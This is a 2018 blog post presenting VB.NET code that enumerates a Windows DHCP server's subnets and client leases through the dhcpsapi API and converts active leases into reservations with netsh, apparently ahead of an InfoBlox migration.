November 2018 – ControllingTheInter.net

Enumerating Windows Native DHCP Server with VB.NET

Imports System.Runtime.InteropServices
Public Class Form1
    'http://social.msdn.microsoft.com/Forums/en-US/512c7fc3-fb32-4081-a8c2-451883abe9fb/dhcpclientinfovq-bclienttype
    Declare Unicode Function DhcpEnumSubnetClients Lib "dhcpsapi" (ByVal ServerIpAddress As String, ByVal SubnetAddress As UInt32, ByRef ResumeHandle As IntPtr, ByVal PreferredMaximum As Integer, ByRef ClientInfo As IntPtr, ByRef ClientsRead As Integer, ByRef ClientsTotal As Integer) As Integer
    &lt;DllImport("dhcpsapi.dll", SetLastError:=True, CharSet:=CharSet.Unicode)&gt; _
    Public Shared Function DhcpSetClientInfo( _
        ByVal ServerIpAddress As String, _
        ByVal ClientInfo As IntPtr) As UInt32
    End Function
    &lt;DllImport("dhcpsapi.dll", SetLastError:=True, CharSet:=CharSet.Unicode)&gt; _
    Public Shared Function DhcpSetClientInfoV4( _
        ByVal ServerIpAddress As String, _
        ByVal ClientInfoV4 As IntPtr) As UInt32
    End Function
    &lt;DllImport("dhcpsapi.dll", SetLastError:=True, CharSet:=CharSet.Unicode)&gt; _
    Public Shared Function DhcpGetClientInfo( _
        ByVal ServerIpAddress As String, _
        ByRef SearchInfo As DHCP_SEARCH_INFO, _
        ByRef ClientInfo As IntPtr) As UInt32
    End Function
    &lt;DllImport("dhcpsapi.dll", SetLastError:=True, CharSet:=CharSet.Unicode)&gt; _
    Public Shared Function DhcpSetClientInfoVQ( _
        ByVal ServerIpAddress As String, _
        ByVal ClientInfo As IntPtr) As UInt32
    End Function
    &lt;StructLayout(LayoutKind.Sequential)&gt; _
    Private Structure DHCP_IP_ARRAY
        Dim NumElements As Int32
        Dim Elements As IntPtr
    End Structure
    &lt;StructLayout(LayoutKind.Sequential)&gt; _
    Private Structure DHCP_CLIENT_INFO_ARRAY
        Dim NumElements As Integer
        Dim Clients As IntPtr
    End Structure
    &lt;StructLayout(LayoutKind.Sequential)&gt; _
    Private Structure DHCP_CLIENT_INFO
        Dim ClientIpAddress As UInt32
        Dim SubnetMask As UInt32
        Dim ClientHardwareAddress As DHCP_BINARY_DATA
        &lt;MarshalAs(UnmanagedType.LPWStr)&gt; Dim ClientName As String
        &lt;MarshalAs(UnmanagedType.LPWStr)&gt; Dim ClientComment As String
        Dim ClientLeaseExpires As MyDate_Time
        Dim OwnerHost As DHCP_HOST_INFO
    End Structure
    &lt;StructLayout(LayoutKind.Sequential)&gt; _
    Private Structure DHCP_CLIENT_INFOV4
        Dim ClientIpAddress As UInt32
        Dim SubnetMask As UInt32
        Dim ClientHardwareAddress As DHCP_BINARY_DATA
        &lt;MarshalAs(UnmanagedType.LPWStr)&gt; Dim ClientName As String
        &lt;MarshalAs(UnmanagedType.LPWStr)&gt; Dim ClientComment As String
        Dim ClientLeaseExpires As MyDate_Time
        Dim OwnerHost As DHCP_HOST_INFO
        Dim bClientType As DHCP_CLIENT_TYPE
    End Structure
    &lt;StructLayout(LayoutKind.Sequential)&gt; _
    Public Structure DHCP_CLIENT_INFO_ARRAY_VQ
        Dim NumElements As Integer
        Dim Clients As IntPtr
    End Structure
    &lt;StructLayout(LayoutKind.Sequential)&gt; _
    Private Structure DHCP_CLIENT_INFO_VQ
        Dim ClientIpAddress As UInt32
        Dim SubnetMask As UInt32
        Dim ClientHardwareAddress As DHCP_BINARY_DATA
        &lt;MarshalAs(UnmanagedType.LPWStr)&gt; Dim ClientName As String
        &lt;MarshalAs(UnmanagedType.LPWStr)&gt; Dim ClientComment As String
        Dim ClientLeaseExpires As MyDate_Time
        Dim OwnerHost As DHCP_HOST_INFO
        Dim bClientType As DHCP_CLIENT_TYPE
        Dim AddressState As Byte
        Dim Status As DHCP_QuarantineStatus
        Dim ProbationEnds As MyDate_Time
        Dim QuarantineCapable As Boolean
    End Structure
    Enum DHCP_CLIENT_TYPE As Byte
        CLIENT_TYPE_DHCP = 1
        CLIENT_TYPE_BOOTP = 2
        CLIENT_TYPE_BOTH = 3
        CLIENT_TYPE_RESERVATION_FLAG = 4
        CLIENT_TYPE_NONE = &amp;H64
    End Enum
    Enum DHCP_AddressState As Byte
        CLIENT_TYPE_DHCP = 1
        CLIENT_TYPE_BOOTP = 2
        CLIENT_TYPE_BOTH = 3
        CLIENT_TYPE_RESERVATION_FLAG = 4
        CLIENT_TYPE_NONE = &amp;H64
    End Enum
    Enum DHCP_QuarantineStatus As Byte
        NOQUARANTINE = 0
        RESTRICTEDACCESS = 1
        DROPPACKET = 2
        PROBATION = 3
        EXEMPT = 4
        DEFAULTQUARSETTING = 5
        NOQUARINFO = 6
    End Enum
    &lt;StructLayout(LayoutKind.Sequential)&gt; _
    Structure DHCP_DATE_TIME
        Dim dwLowDateTime As Integer
        Dim dwHighDateTime As Integer
    End Structure
    &lt;StructLayout(LayoutKind.Sequential)&gt; _
    Structure DHCP_BINARY_DATA
        Dim DataLength As Int32
        Dim Data As IntPtr
    End Structure
    &lt;StructLayout(LayoutKind.Sequential)&gt; _
    Private Structure MyDate_Time
        &lt;MarshalAs(UnmanagedType.U4)&gt; _
        Dim dwLowDateTime As UInt32
        &lt;MarshalAs(UnmanagedType.U4)&gt; _
        Dim dwHighDateTime As UInt32
        Public Function ConvertIntToDateTime() As DateTime
            If dwHighDateTime = 0 And dwLowDateTime = 0 Then Return DateTime.MinValue
            If dwHighDateTime = Int32.MaxValue And dwLowDateTime = UInt32.MaxValue Then Return DateTime.MaxValue
            Dim value As Long = dwHighDateTime
            value &lt;&lt;= 32
            value += dwLowDateTime
            Return DateTime.FromFileTime(value)
        End Function
        Public Sub SetToReserved()
            dwLowDateTime = 0
            dwHighDateTime = 0
            'Return DateTime.FromFileTime(value)
        End Sub
        Public Sub SetToInfinte()
            dwLowDateTime = 4294967295
            dwHighDateTime = 2147483647
            'Return DateTime.FromFileTime(value)
        End Sub
    End Structure
    &lt;StructLayout(LayoutKind.Sequential)&gt; _
    Structure DHCP_HOST_INFO
        Dim IpAddress As Int32
        &lt;MarshalAs(UnmanagedType.LPWStr)&gt; _
        Dim NetBiosName As String
        &lt;MarshalAs(UnmanagedType.LPWStr)&gt; _
        Dim HostName As String
    End Structure
    ''' &lt;summary&gt;
    ''' ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
    ''' DHCP SERVER STRUCTS
    ''' &lt;/summary&gt;
    ''' &lt;remarks&gt;&lt;/remarks&gt;
    &lt;StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)&gt; _
    Public Structure DHCPDS_SERVER
        Dim Version As UInt32
        Dim ServerName As String
        Dim ServerAddress As UInt32
        Dim Flags As UInt32
        Dim State As UInt32
        Dim DsLocation As String
        Dim DsLocType As UInt32
    End Structure
    &lt;StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)&gt; _
    Public Structure DHCPDS_SERVERS
        Dim Flags As UInt32
        Dim NumElements As UInt32
        Dim Servers As IntPtr
    End Structure
    Declare Unicode Function DhcpEnumServers Lib "Dhcpsapi.dll" (ByVal Flags As UInt32, _
      ByVal IdInfo As IntPtr, _
      ByRef Servers As IntPtr, _
      ByVal CallbackFn As IntPtr, _
      ByVal CallbackData As IntPtr) As UInt32
    ''' &lt;summary&gt;
    ''' Sumery
    ''' &lt;/summary&gt;
    ''' &lt;returns&gt;&lt;/returns&gt;
    ''' &lt;remarks&gt;&lt;/remarks&gt;
    '''
    &lt;StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)&gt; _
    Public Structure DHCP_IP_ADDRESS
        Dim IPAddress As UInteger
    End Structure
    ''' &lt;summary&gt;
    ''' Sumery
    ''' &lt;/summary&gt;
    ''' &lt;returns&gt;&lt;/returns&gt;
    ''' &lt;remarks&gt;&lt;/remarks&gt;
    '''
    &lt;StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)&gt; Public Structure DHCP_SUBNET_INFO
        Public SubnetAddress As UInteger
        Public SubnetMask As UInteger
        Public SubnetName As String
        Public SubnetComment As String
        'Public PrimaryHost As DHCP_HOST_INFO
        Public SubnetState As DHCP_SUBNET_STATE
    End Structure
    Public Enum DHCP_SUBNET_STATE
        DhcpSubnetEnabled = 0
        DhcpSubnetDisabled = 1
        DhcpSubnetEnabledSwitched = 2
        DhcpSubnetDisabledSwitched = 3
        DhcpSubnetInvalidState = 4
    End Enum
    Public Declare Unicode Function DhcpGetSubnetInfo Lib "Dhcpsapi" (ByVal ServerIpAddress As String, ByVal SubnetAddress As Integer, ByRef SubnetInfo As DHCP_SUBNET_INFO) As Integer
    Public Declare Unicode Function DhcpEnumSubnets Lib "Dhcpsapi" (ByVal ServerIpAddress As String, ByRef ResumeHandle As Integer, ByVal PreferredMaximum As Integer, ByRef EnumInfo As IntPtr, ByRef ElementsRead As Integer, ByRef ElementsTotal As Integer) As Integer
    Dim HowManyClients As Long = 0
    Dim HowManyClientsAreAlreadyReserved As Long = 0
    Dim HowManyClientsAreNeedToBechanged As Long = 0
    Dim HowManyClientsHaveBadAddresses As Long = 0
    Dim MachinesThatWillChange As String = vbNullString
    Dim MachinesThatWillNotChange As String = vbNullString
    Dim ServerIPAddress As String = "10.10.10.10"
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim ts = Stopwatch.StartNew
        ' Your code goes here
        EnumAll()
        Debug.WriteLine("How many clients: " &amp; HowManyClients)
        Debug.WriteLine("How many clients are already reserved: " &amp; HowManyClientsAreAlreadyReserved)
        Debug.WriteLine("How many clients need to be changed: " &amp; (HowManyClientsAreNeedToBechanged - HowManyClientsHaveBadAddresses))
        Debug.WriteLine("How many clients have bad addresses: " &amp; HowManyClientsHaveBadAddresses)
        Debug.WriteLine("-----------------------------------------------------------------------")
        Debug.WriteLine("Machines that will change")
        Debug.WriteLine(MachinesThatWillChange)
        Debug.WriteLine("-----------------------------------------------------------------------")
        Debug.WriteLine("Machines that will NOT change")
        Debug.WriteLine(MachinesThatWillNotChange)
        ' Format and display the TimeSpan value.
        Dim myelapsedTime As String = String.Format("{0:00}:{1:00}:{2:00}.{3:00}", ts.Elapsed.Hours, ts.Elapsed.Minutes, ts.Elapsed.Seconds, ts.Elapsed.Milliseconds / 10)
        Debug.WriteLine("RunTime " &amp; myelapsedTime)
        'EnumServers()
        'GetSubnets("10.10.10.10")
        'ListSubnetClients("10.10.10.10", "10.10.10.100")
        'CompareFirewallRules()
        'GetClientInfo("10.10.10.10", "10.10.10.100")
    End Sub
    Public Function GetSubnets(ByVal ServerIp As String) As String()
        Dim StringsToReturn() As String
        Dim ServerIpAddress = ServerIp
        Dim DHCPResult As UInt32 = 0
        Dim IPS As IntPtr
        Dim nr As UInteger = 0
        Dim Total As UInteger = 0
        Dim resumehandle As UInteger = 0
        DHCPResult = DhcpEnumSubnets(ServerIpAddress, resumehandle, 1000, IPS, nr, Total)
        If DHCPResult = 0 Then
            Dim iparray As DHCP_IP_ARRAY = CType(Marshal.PtrToStructure(IPS, GetType(DHCP_IP_ARRAY)), DHCP_IP_ARRAY)
            Dim Size As Integer = iparray.NumElements
            Dim outArray As IntPtr = iparray.Elements
            Dim ipAddressesArray(Size) As DHCP_IP_ADDRESS
            Array.Resize(StringsToReturn, Size + 1)
            Dim current As IntPtr = outArray
            For i = 0 To Size
                ipAddressesArray(i) = New DHCP_IP_ADDRESS
                ipAddressesArray(i) = CType(Marshal.PtrToStructure(current, GetType(DHCP_IP_ADDRESS)), DHCP_IP_ADDRESS)
                Marshal.DestroyStructure(current, GetType(DHCP_IP_ADDRESS))
                current = current + Marshal.SizeOf(ipAddressesArray(i))
                Debug.WriteLine(i &amp; " " &amp; IPConvert(ipAddressesArray(i).IPAddress))
                StringsToReturn(i) = IPConvert(ipAddressesArray(i).IPAddress)
            Next
            Marshal.FreeCoTaskMem(outArray)
            Debug.WriteLine("Elements read " &amp; nr &amp; " out of " &amp; Total)
        Else
            Debug.WriteLine("Failed!")
        End If
        Return StringsToReturn
    End Function
    Public Function getSubNetInfo(ByVal Subnet As Integer) As Integer
        Dim Result As DHCP_SUBNET_INFO
        Dim code As Integer
        Try
            code = DhcpGetSubnetInfo("10.10.10.10", Subnet, Result)
            msgbox(Result.SubnetName)
        Catch
            msgbox(Err.Description)
        End Try
    End Function
    Public Shared Function EnumServers() As DHCPDS_SERVER()
        Dim retVal As UInt32 = 0
        Dim servers As IntPtr
        Try
            DhcpEnumServers(0, Nothing, servers, Nothing, Nothing)
        Catch ex As Exception
            Throw New Exception("Error code:  " &amp; retVal.ToString, ex)
        End Try
        If retVal = 0 And servers &lt;&gt; IntPtr.Zero Then
            Dim serverArray As DHCPDS_SERVERS = _
              CType(Marshal.PtrToStructure(servers, GetType(DHCPDS_SERVERS)), DHCPDS_SERVERS)
            Dim serverList(CType(serverArray.NumElements, Int32)) As DHCPDS_SERVER
            Dim current As IntPtr = serverArray.Servers
            For i As Int32 = 0 To CType(serverArray.NumElements - 1, Int32)
                serverList(i) = CType(Marshal.PtrToStructure(current, GetType(DHCPDS_SERVER)), DHCPDS_SERVER)
                Debug.WriteLine("ServerName: " &amp; serverList(i).ServerName)
                Debug.WriteLine("ServerAddress: " &amp; serverList(i).ServerAddress)
                Debug.WriteLine("ServerState: " &amp; serverList(i).State)
                Debug.WriteLine("ServerVersion: " &amp; serverList(i).Version)
                Debug.WriteLine("ServerDsLocation: " &amp; serverList(i).DsLocation)
                Debug.WriteLine("ServerDsLocType: " &amp; serverList(i).DsLocType)
                Debug.WriteLine("ServerFlags: " &amp; serverList(i).Flags)
                Debug.WriteLine(vbCrLf &amp; vbCrLf)
                Marshal.DestroyStructure(current, GetType(DHCPDS_SERVER))
                current = IntPtr.op_Explicit(current.ToInt64() + Marshal.SizeOf(serverList(i)))
            Next
            Marshal.FreeCoTaskMem(servers)
            Return serverList
        ElseIf retVal = 0 And servers = IntPtr.Zero Then
            Throw New Exception("No servers found.")
        Else
            Throw New Exception("Error code:  " &amp; retVal.ToString)
        End If
    End Function
    Public Sub ListSubnetClients(ByVal ServerIP As String, ByVal SubnetIP As String)
        Dim Client_Array As DHCP_CLIENT_INFO_ARRAY
        Dim DHCP_Clients() As DHCP_CLIENT_INFO
        ' Why would you use int16 for a loop counter and for a pointer offset ?
        Dim i, j As Int16
        Dim pt As IntPtr
        Dim Read_Clients, Total_Clients As Int32
        Dim Error_Code As Int32
        Dim Rem_Handle As IntPtr
        Dim Scope_I As UInt32
        'Scope_I = "10.0.3.0"
        Scope_I = StringIPAddressToUInt32(SubnetIP) ' Dot2LongIP(SubnetIP)
        'Call dhcpsapi
        Error_Code = DhcpEnumSubnetClients(ServerIP, Scope_I, Rem_Handle, 65537, pt, Read_Clients, Total_Clients)
        Client_Array = Marshal.PtrToStructure(pt, GetType(DHCP_CLIENT_INFO_ARRAY))
        ReDim DHCP_Clients(Client_Array.NumElements - 1)
        Dim MacAddr As Net.NetworkInformation.PhysicalAddress
        For i = 0 To Client_Array.NumElements - 1
            pt = Marshal.ReadIntPtr(Client_Array.Clients, j)
            DHCP_Clients(i) = Marshal.PtrToStructure(pt, GetType(DHCP_CLIENT_INFO))
            'MacAddr = Net.NetworkInformation.PhysicalAddress.Parse(DHCP_Clients(i).ClientHardwareAddress.Data)
            'If HardwareAddress = "ec-30-91-d5-f0-a6" Then
            'System.Diagnostics.Debugger.Break()
            'ElseIf HardwareAddress.StartsWith("ec-30-91") Then
            'System.Diagnostics.Debugger.Break()
            'End If
            Dim IsClientReserved As Boolean
            If DHCP_Clients(i).ClientLeaseExpires.dwLowDateTime = 4294967295 And DHCP_Clients(i).ClientLeaseExpires.dwHighDateTime = 2147483647 Then
                IsClientReserved = True
            Else
                IsClientReserved = False
            End If
            Dim IsClientInActivelyReserved As Boolean
            If DHCP_Clients(i).ClientLeaseExpires.dwLowDateTime = 0 And DHCP_Clients(i).ClientLeaseExpires.dwHighDateTime = 0 Then
                IsClientInActivelyReserved = True
            Else
                IsClientInActivelyReserved = False
            End If
            Dim HardwareAddress As String = String.Format("{0:x2}-{1:x2}-{2:x2}-{3:x2}-{4:x2}-{5:x2}", Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 1), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 2), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 3), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 4), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 5))
            Dim NetShHardwareAddress As String = String.Format("{0:x2}{1:x2}{2:x2}{3:x2}{4:x2}{5:x2}", Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 1), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 2), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 3), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 4), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 5))
            Debug.WriteLine("ClientComment: " &amp; DHCP_Clients(i).ClientComment)
            Debug.WriteLine("ClientIpAddress: " &amp; IPConvert(DHCP_Clients(i).ClientIpAddress))
            Debug.WriteLine("ClientHardwareAddress: " &amp; HardwareAddress)
            Debug.WriteLine("ClientLeaseExpires: " &amp; DHCP_Clients(i).ClientLeaseExpires.ConvertIntToDateTime)
            Debug.WriteLine("ClientName: " &amp; DHCP_Clients(i).ClientName)
            Debug.WriteLine("OwnerHoost-&gt;HostName: " &amp; DHCP_Clients(i).OwnerHost.HostName)
            Debug.WriteLine("OwnerHost-&gt;IpAddress: " &amp; IPConvert(DHCP_Clients(i).OwnerHost.IpAddress))
            Debug.WriteLine("OwnerHost-&gt;NetBiosName: " &amp; DHCP_Clients(i).OwnerHost.NetBiosName)
            Debug.WriteLine("SubnetMask: " &amp; UInt32IPAddressToString(DHCP_Clients(i).SubnetMask))
            'ConvertTolease
            'IPConvert(DHCP_Clients(i).ClientIpAddress).ToString.Trim = "10.246.36.101" And
            If (Not IsClientReserved And Not IsClientInActivelyReserved) Then
                Dim MyArgs As String = vbNullString
                If Not IsNothing(DHCP_Clients(i).ClientComment) Then
                    Select Case DHCP_Clients(i).ClientComment.Trim
                        Case ""
                            MyArgs = "dhcp server 10.10.10.10 Scope " &amp; SubnetIP.ToString.Trim &amp; " Add reservedip " &amp; IPConvert(DHCP_Clients(i).ClientIpAddress).ToString.Trim &amp; " " &amp; NetShHardwareAddress.ToString &amp; " """ &amp; DHCP_Clients(i).ClientName &amp; """ ""Set for InfoBlox"" DHCP"
                        Case "This address is already in use"
                            HowManyClientsHaveBadAddresses += 1
                        Case Else
                            MyArgs = "dhcp server 10.10.10.10 Scope " &amp; SubnetIP.ToString.Trim &amp; " Add reservedip " &amp; IPConvert(DHCP_Clients(i).ClientIpAddress).ToString.Trim &amp; " " &amp; NetShHardwareAddress.ToString &amp; " """ &amp; DHCP_Clients(i).ClientName &amp; """ """ &amp; DHCP_Clients(i).ClientComment.ToString.Trim &amp; """ DHCP"
                    End Select
                Else
                    MyArgs = "dhcp server 10.10.10.10 Scope " &amp; SubnetIP.ToString.Trim &amp; " Add reservedip " &amp; IPConvert(DHCP_Clients(i).ClientIpAddress).ToString.Trim &amp; " " &amp; NetShHardwareAddress.ToString &amp; " """ &amp; DHCP_Clients(i).ClientName &amp; """ ""Set for InfoBlox"" DHCP"
                End If
                If MyArgs IsNot Nothing Then
                    Debug.WriteLine("netsh " &amp; MyArgs)
                    Dim MyProcess As New Process
                    MyProcess = Process.Start("netsh", MyArgs)
                    MyProcess.WaitForExit()
                    MachinesThatWillChange &amp;= DHCP_Clients(i).ClientName &amp; "," &amp; IPConvert(DHCP_Clients(i).ClientIpAddress) &amp; "," &amp; NetShHardwareAddress &amp; vbCrLf
                    HowManyClientsAreNeedToBechanged += 1
                Else
                    MachinesThatWillNotChange &amp;= DHCP_Clients(i).ClientName &amp; "," &amp; IPConvert(DHCP_Clients(i).ClientIpAddress) &amp; "," &amp; NetShHardwareAddress &amp; "," &amp; DHCP_Clients(i).ClientLeaseExpires.ConvertIntToDateTime &amp; vbCrLf
                    Debug.WriteLine("This unit has a BAD Address - Skipping")
                End If
            Else
                MachinesThatWillNotChange &amp;= DHCP_Clients(i).ClientName &amp; "," &amp; IPConvert(DHCP_Clients(i).ClientIpAddress) &amp; "," &amp; NetShHardwareAddress &amp; "," &amp; DHCP_Clients(i).ClientLeaseExpires.ConvertIntToDateTime &amp; vbCrLf
                Debug.WriteLine("No NETSH command required")
                HowManyClientsAreAlreadyReserved += 1
            End If
            Debug.WriteLine(vbCrLf &amp; vbCrLf)
            pt = IntPtr.Zero
            j = j + 4
            HowManyClients += 1
        Next i
    End Sub
    Private Sub ConvertTolease(ByVal DHCP_Clients() As DHCP_CLIENT_INFO, ByVal I As Integer)
        If IPConvert(DHCP_Clients(i).ClientIpAddress).ToString.Trim = "10.10.10.10" And False Then
            Dim DHCPv4 As New DHCP_CLIENT_INFOV4
            DHCPv4.bClientType = DHCP_CLIENT_TYPE.CLIENT_TYPE_BOTH
            DHCPv4.ClientComment = DHCP_Clients(i).ClientComment
            DHCPv4.ClientHardwareAddress = DHCP_Clients(i).ClientHardwareAddress
            DHCPv4.ClientIpAddress = DHCP_Clients(i).ClientIpAddress
            DHCPv4.ClientLeaseExpires = DHCP_Clients(i).ClientLeaseExpires
            DHCPv4.ClientName = DHCP_Clients(i).ClientName
            DHCPv4.OwnerHost = DHCP_Clients(i).OwnerHost
            DHCPv4.SubnetMask = DHCP_Clients(i).SubnetMask
            'Dim MyPtrr As IntPtr = Marshal.AllocHGlobal(Marshal.SizeOf(New DHCP_CLIENT_INFOV4))
            'DHCPv4.ClientLeaseExpires.SetToReserved()
            'DHCPv4.ClientLeaseExpires.SetToInfinte()
            'Marshal.StructureToPtr(DHCPv4, MyPtrr, False)
            'Debug.WriteLine("Lease Updated: " &amp; DhcpSetClientInfo(ServerIP, MyPtrr))
            'Debug.WriteLine("Lease Updated: " &amp; DhcpSetClientInfoV4(ServerIP, MyPtrr))
        End If
    End Sub
    ''' &lt;summary&gt;
    '''
    ''' &lt;/summary&gt;
    ''' &lt;param name="sender"&gt;&lt;/param&gt;
    ''' &lt;param name="e"&gt;&lt;/param&gt;
    ''' &lt;remarks&gt;&lt;/remarks&gt;
    '''
    Public Structure DHCP_SEARCH_INFO
        Dim DHCPSearchInfoType As Integer
        Dim DHCPIPAddress As UInt32
    End Structure
    Private Enum DHCP_SEARCH_INFO_TYPE
        DhcpClientIpAddress
        DhcpClientHardwareAddress
        DhcpClientName
    End Enum
    Public Function GetClientInfo(ByVal serverIP As String, ByVal clientIP As String)
        Dim DHCPResult As UInt32 = 0
        Try
            Dim searchInfo As New DHCP_SEARCH_INFO
            Dim searchInfoType As DHCP_SEARCH_INFO_TYPE = DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress
            searchInfo.DHCPSearchInfoType = searchInfoType
            searchInfo.DHCPIPAddress = Dot2LongIP(clientIP)
            Dim hClientInfo As IntPtr
            DHCPResult = DhcpGetClientInfo(serverIP, searchInfo, hClientInfo)
            If DHCPResult = 0 And Not hClientInfo = IntPtr.Zero Then
                Dim clientInfo As DHCP_CLIENT_INFO = Marshal.PtrToStructure(hClientInfo, GetType(DHCP_CLIENT_INFO))
                Debug.WriteLine("ClientInfo-&gt;clientInfo.ClientHardwareAddress " &amp; String.Format("{0:x2}-{1:x2}-{2:x2}-{3:x2}-{4:x2}-{5:x2}", Marshal.ReadByte(clientInfo.ClientHardwareAddress.Data), Marshal.ReadByte(clientInfo.ClientHardwareAddress.Data, 1), Marshal.ReadByte(clientInfo.ClientHardwareAddress.Data, 2), Marshal.ReadByte(clientInfo.ClientHardwareAddress.Data, 3), Marshal.ReadByte(clientInfo.ClientHardwareAddress.Data, 4), Marshal.ReadByte(clientInfo.ClientHardwareAddress.Data, 5)))
                Debug.WriteLine("ClientInfo-&gt;clientInfo.ClientIpAddress " &amp; IPConvert(clientInfo.ClientIpAddress))
                Debug.WriteLine("ClientInfo-&gt;clientInfo.ClientLeaseExpires " &amp; clientInfo.ClientLeaseExpires.ConvertIntToDateTime)
                Debug.WriteLine("ClientInfo-&gt;clientInfo.ClientName " &amp; clientInfo.ClientName)
                Debug.WriteLine("ClientInfo-&gt;clientInfo.OwnerHost-&gt;HostName " &amp; clientInfo.OwnerHost.HostName)
                Debug.WriteLine("ClientInfo-&gt;clientInfo.OwnerHost-&gt;IpAddress " &amp; IPConvert(clientInfo.OwnerHost.IpAddress))
                Debug.WriteLine("ClientInfo-&gt;clientInfo.OwnerHost-&gt;NetBiosName " &amp; clientInfo.OwnerHost.NetBiosName)
                Debug.WriteLine("ClientInfo-&gt;clientInfo.SubnetMask " &amp; clientInfo.SubnetMask)
                Debug.WriteLine("ClientInfo-&gt;clientInfo.ClientComment " &amp; clientInfo.ClientComment)
                Return (clientInfo)
            End If
            Return Nothing
        Catch ex As Exception
            Console.WriteLine(ex.Message)
            Return Nothing
        End Try
    End Function
    Private Sub EnumAll()
        Dim ListOfSubnets As String() = GetSubnets(ServerIPAddress)
        For Each Subnet As String In ListOfSubnets
            If Subnet = "0.0.0.0" Then
                Exit Sub
            End If
            If Subnet = "10.246.10.0" Or True Then
                ListSubnetClients(ServerIPAddress, Subnet)
            End If
        Next
    End Sub
    Public Sub CompareFirewallRules()
        Dim FileContents = GetFileContents("\\fileshare1\ISStaff\Network\KDB\Config\EMC-ASA.txt")
        Dim h As System.Net.IPHostEntry = System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName)
        For Each IPString As System.Net.IPAddress In h.AddressList
            'Debug.WriteLine(IPString.ToString)
            If InStr(FileContents, IPString.ToString) &gt; 0 Then
                'Debug.WriteLine(IPString.ToString &amp; " - IP Found in Firewall Rules")
                TextBox1.Text += IPString.ToString &amp; " - IP Found in Firewall Rules"
            End If
        Next
        If TextBox1.Text = vbNullString Then TextBox1.Text = "No Firewall Rules Found!"
    End Sub
    Public Shared Function StringIPAddressToUInt32(ByVal ip_string As String) As UInteger
        Dim IpA As Net.IPAddress = System.Net.IPAddress.Parse(ip_string)
        Dim ip_bytes As Byte() = IpA.GetAddressBytes()
        Dim ip_uint As UInteger = CUInt(ip_bytes(0)) &lt;&lt; 24
        ip_uint += CUInt(ip_bytes(1)) &lt;&lt; 16
        ip_uint += CUInt(ip_bytes(2)) &lt;&lt; 8
        ip_uint += CUInt(ip_bytes(3))
        Return ip_uint
    End Function
    Public Shared Function UInt32IPAddressToString(ByVal ipAddress As UInteger) As String
        Dim ipA As New Net.IPAddress(ipAddress)
        Dim sIp As String() = ipA.ToString().Split("."c)
        Return sIp(3) &amp; "." &amp; sIp(2) &amp; "." &amp; sIp(1) &amp; "." &amp; sIp(0)
    End Function
    Public Function Dot2LongIP(ByVal DottedIP As String) As Integer
        Dim arrDec() As String
        Dim i As Integer
        Dim intResult As Integer
        If DottedIP = "" Then
            Dot2LongIP = 0
        Else
            arrDec = DottedIP.Split(".")
            For i = arrDec.Length - 1 To 0 Step -1
                intResult = intResult + ((Int(arrDec(i)) Mod 256) * Math.Pow(256, 3 - i))
            Next
            Dot2LongIP = intResult
        End If
    End Function
    Public Function IPConvert(ByVal IPAddress As Object) As Object
        Dim x As Integer
        Dim Pos As Integer
        Dim PrevPos As Integer
        Dim Num As Integer
        If IsNumeric(IPAddress) Then
            IPConvert = "0.0.0.0"
            For x = 1 To 4
                Num = Int(IPAddress / 256 ^ (4 - x))
                IPAddress = IPAddress - (Num * 256 ^ (4 - x))
                If Num &gt; 255 Then
                    IPConvert = "0.0.0.0"
                    Exit Function
                End If
                If x = 1 Then
                    IPConvert = Num
                Else
                    IPConvert = IPConvert &amp; "." &amp; Num
                End If
            Next
        ElseIf UBound(Split(IPAddress, ".")) = 3 Then
            '        On Error Resume Next
            For x = 1 To 4
                Pos = InStr(PrevPos + 1, IPAddress, ".", 1)
                If x = 4 Then Pos = Len(IPAddress) + 1
                Num = Int(Mid(IPAddress, PrevPos + 1, Pos - PrevPos - 1))
                If Num &gt; 255 Then
                    IPConvert = "0"
                    Exit Function
                End If
                PrevPos = Pos
                IPConvert = ((Num Mod 256) * (256 ^ (4 - x))) + IPConvert
            Next
        End If
    End Function
    Public Function GetFileContents(ByVal FullPath As String, Optional ByRef ErrInfo As String = "") As String
        Dim strContents As String
        Dim objReader As System.IO.StreamReader
        Try
            objReader = New System.IO.StreamReader(FullPath)
            strContents = objReader.ReadToEnd()
            objReader.Close()
            Return strContents
        Catch Ex As Exception
            ErrInfo = Ex.Message
        End Try
    End Function
End Class

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

325

326

327

328

329

330

331

332

333

334

335

